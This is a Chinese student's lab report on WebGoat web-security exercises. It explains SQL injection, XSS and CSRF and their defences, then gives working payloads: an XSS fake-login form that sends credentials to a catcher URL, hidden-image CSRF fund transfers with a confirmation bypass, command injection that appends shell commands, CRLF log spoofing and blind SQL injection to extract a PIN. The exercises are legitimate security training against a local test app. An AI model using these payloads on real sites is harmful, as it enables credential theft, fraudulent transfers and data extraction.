20165309 《网络对抗技术》实验九:Web安全基础

20165309 《网络对抗技术》实验九:Web安全基础


  • 1.基础问题回答

    • (1)SQL注入攻击原理,如何防御。
    • (2)XSS攻击的原理,如何防御。
    • (3)CSRF攻击原理,如何防御。
  • 2.实践总结与体会
    • (1)遇到的问题与解决
    • (2)实验感受
  • 3.实践过程记录
    • (1)前期准备:WebGoat
    • (2)XSS攻击
      • Phishing with XSS
      • Stored XSS Attacks
      • Reflected XSS Attacks
    • (3)CSRF攻击
      • Cross Site Request Forgery(CSRF)
      • CSRF Prompt By-Pass
    • (4)Injection Flaws
      • Command Injection
      • Numeric SQL Injection
      • Log Spoofing
      • Blind Numeric SQL Injection

1.基础问题回答

(1)SQL注入攻击原理,如何防御。

  • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
  • 防御:
    • 对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
    • 在PHP配置文件中Register_globals=off;设置为关闭状态,作用将注册全局变量关闭。
    • 提高数据库命名技巧,对于一些重要的字段根据程序的特点命名,取不易被猜到的。
    • 开启PHP安全模式Safe_mode=on;

(2)XSS攻击的原理,如何防御。

  • 原理:XSS攻击(跨站脚本攻击)是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。
  • 防御:
    • 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
    • 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
    • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

(3)CSRF攻击原理,如何防御。

  • 原理:CSRF(Cross-site request forgery)跨站请求伪造是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
  • CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了,我们可以在该恶意的url对应的网页中,利用<img src="" />来向目标网站发生一个GET请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求,该请求可以是目标网站中的用户有权限访问的任意请求。也可以使用javascript构造一个提交表单的POST请求。
  • 防御:
    • 通过referer、token或者验证码来检测用户提交。
    • “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
    • 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

返回目录


2.实验总结与体会

(1)遇到的问题与解决

  • 问题:在做Numeric SQL Injection的时候,添加了or 1=1后依然报错,Select中显示问号。
  • 解决:后来我才意识到是因为当初拷同学的虚拟机的时候(因为自己下不下来webgoat...),这项课程已经完成了,所以不能do it again,需要重新开始。

(2)实验感受

本次实验让我有了在做实验楼的相似感,一步步跟着提示完成课程很有趣,收获也很多。同时,我也意识到了自己英语水平的薄弱,还是得多练习英语才是...顺便推荐一波WebGoat中文手册,便于加深大家对本次实验的理解。

返回目录


3.实践过程记录

(1)前期准备:WebGoat

(2)XSS攻击

① Phishing with XSS
  • hint提示要尝试向搜索字段添加HTML以创建假身份验证表单。
  • 在左侧栏Cross-Site Scripting(XSS)攻击中打开Phishing with XSS,将下面这段代码输入到"Search:"输入框中:
    </form>
    <script>
     function hack(){
         XSSImage=new Image;
         XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
         alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
     }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
     <br>Enter Username:<br>
      <input type="text" name="user">
       <br>Enter Password:<br>
       <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 点击搜索,会看到一个要求输入用户名密码的表单:
  • 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
② Stored XSS Attacks
  • hint:You can put HTML tags in your message.意思是我们要在信息中添加一个html的标签。
  • 在信息中输入:<script>alert("hi I am 5309");</script>即可。
③ Reflected XSS Attacks
  • 看一眼hint:A simple script is .
  • 很简单,把它放到一个输入框里试试:

    bang!

(3)CSRF攻击

④ Cross Site Request Forgery(CSRF)
  • 看要求是让我们发送一个恶意URL请求的图片给用户,在message框里输入一段文字,文字里包含了恶意图片,不能让别人看出了。
  • 输入<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=10000" width="1" height="1">,其中src指向网站的链接,这里就是自己的这个网站,后面的两个参数可以根据红框中的值据实填写,转账金额暂定成10000元,然后通过宽高设置成1像素,隐藏掉这个图片。
  • 点击后就执行了这个代码,被攻击者就会给你转钱啦:
⑤ CSRF Prompt By-Pass
  • 看题目要求是和上一道题一样,只不过现在需要确认转账。
  • 在message中输入:
    <img src="attack?Screen=324&menu=900&transferFunds=10000"
    width="1" height="1">
    <img src="attack?Screen=324&menu=900&transferFunds=confirm"
    width="1" height="1">
  • 攻击成功~

(4)Injection Flaws

⑥ Command Injection
  • 尝试注入netstat -an以及ifconfig这两个系统命令以获取本地计算机建立连接的IP以及系统的网络端口使用情况以及IP地址。在所请求的页面源代码中添加"& netstat -an & ipconfig",如图所示:
  • 在课程页面的下拉菜单就可以看到我们新设的值,选定它,然后点击view后可以看到网络端口使用情况和IP地址。
⑦ Numeric SQL Injection
  • 查看Solution可知我们需要尝试追加一个总是解析为true的SQL语句,拦截POST请求,用101或1=1替换101。
  • 将语句替换为SELECT * FROM weather_data WHERE station = 101 OR 1=1,即在查看器中更改代码如下图所示:
  • 可以看到所有城市的天气了:
⑧ Log Spoofing
  • 日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入wsj%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符。
⑨ Blind Numeric SQL Injection
  • 题目中说明了下面的表单允许用户输入帐号并确定它是否有效,意思就是返回值只有账户有效或无效两种。
  • 可以利用系统后台在用的查询语句:
    SELECT * FROM user_data WHERE userid=accountNumber;
    如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
  • 使用AND函数添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效,例如:
    101 AND 1=1 101 AND 1=2
    在第一条语句中,两个条件都成立,所以页面返回帐号有效。而第二条则返回帐号无效。
  • 现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们 PIN 数值是否大于1000:
    101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 1000 );
    如果页面提示帐号有效,说明PIN>1000否则PIN<=1000。
  • 不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:
    101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
  • 在查询框中输入2364 并提交:

返回目录

原文地址:https://www.cnblogs.com/wsj-wsj-wsj/p/10922303.html

时间: 2024-10-04 06:42:00

20165309 《网络对抗技术》实验九:Web安全基础的相关文章

20155201 网络攻防技术 实验九 Web安全基础

20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击原理,如何防御 SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息. SQL注入攻击的典型手段:判断应用程序是否存在注入漏洞,收集信息

2018-2019-2 网络对抗技术 20165225 Exp8 Web安全基础

2018-2019-2 网络对抗技术 20165225 Exp8 Web安全基础 实践内容 Web前端HTML(0.5分) 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. Web前端javascipt(0.5分) 理解JavaScript的基本功能,理解DOM.编写JavaScript验证用户名.密码的规则. Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密码.建表(0.5分) Web后端:编写PHP网页,

2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践

2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 原理:通过在用户名.密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合.注释部分SQL语句,利用永真式,从而达到登录.显示信息等目的. 防御:对输入进行限制,包括输入长度和特殊字符的类型等 (2)XSS攻击的原理,如何防御 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入

2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入(Command Injection) 数字型注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) SQL 注入(LAB: SQL Injection) 字符串注入(String SQL Injection) 数据库后门(Database Backdoors) 数

2018-2019-2 网络对抗技术 20165225 Exp9 Web安全基础

2018-2019-2 网络对抗技术 20165225 Exp9 Web安全基础 实践内容 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 报告内容 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞.WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS.线程安全.SQL注入.访问控制.隐藏字段.C

2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础

2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 基础知识问答 (1)SQL注入攻击原理,如何防御 SQL注入的原理:就是通过构建特殊的参数传入web应用程序,而这些输入大多都是SQL语句语法里的组合,通过这些组合构造出某些特殊的含义,从而达到攻击者的攻击目的,例如在用户名和密码框中输入某些像''.--,#等特殊

2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础

2018-2019-2 20165204<网络对抗技术> Exp9 Web安全基础 实践内容 SQL注入攻击 命令注入(Command Injection) 数字型SQL注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) 字符串型注入(String SQL Injection) LAB: SQL Injection 数据库后门(Database Backdoors) XSS攻击 Phishing with XSS Stored XSS Attacks Re

2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因.如:在用户名.密码登输入框中输入一些',--,#等特殊字符

2018-2019-2 20165219《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165219<网络对抗技术>Exp9 Web安全基础 一 实验内容 WebGoat配置 进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站 下载 webgoat-container-7.0.1-war-exec.jar 输入java -jar webgoat-container-7.0.1-war-exec.jar安装jar包 览器登陆http://localhost:8080/WebGoat网站

2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础

2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础 1.1.实验内容概述 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 1.2.实验环境 Kali Linux - 64bit(IP为192.168.43.145) Win10-64bits 360浏览器 1.3.基础问题回答 (1)SQL注入攻击原理,如何防御? 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存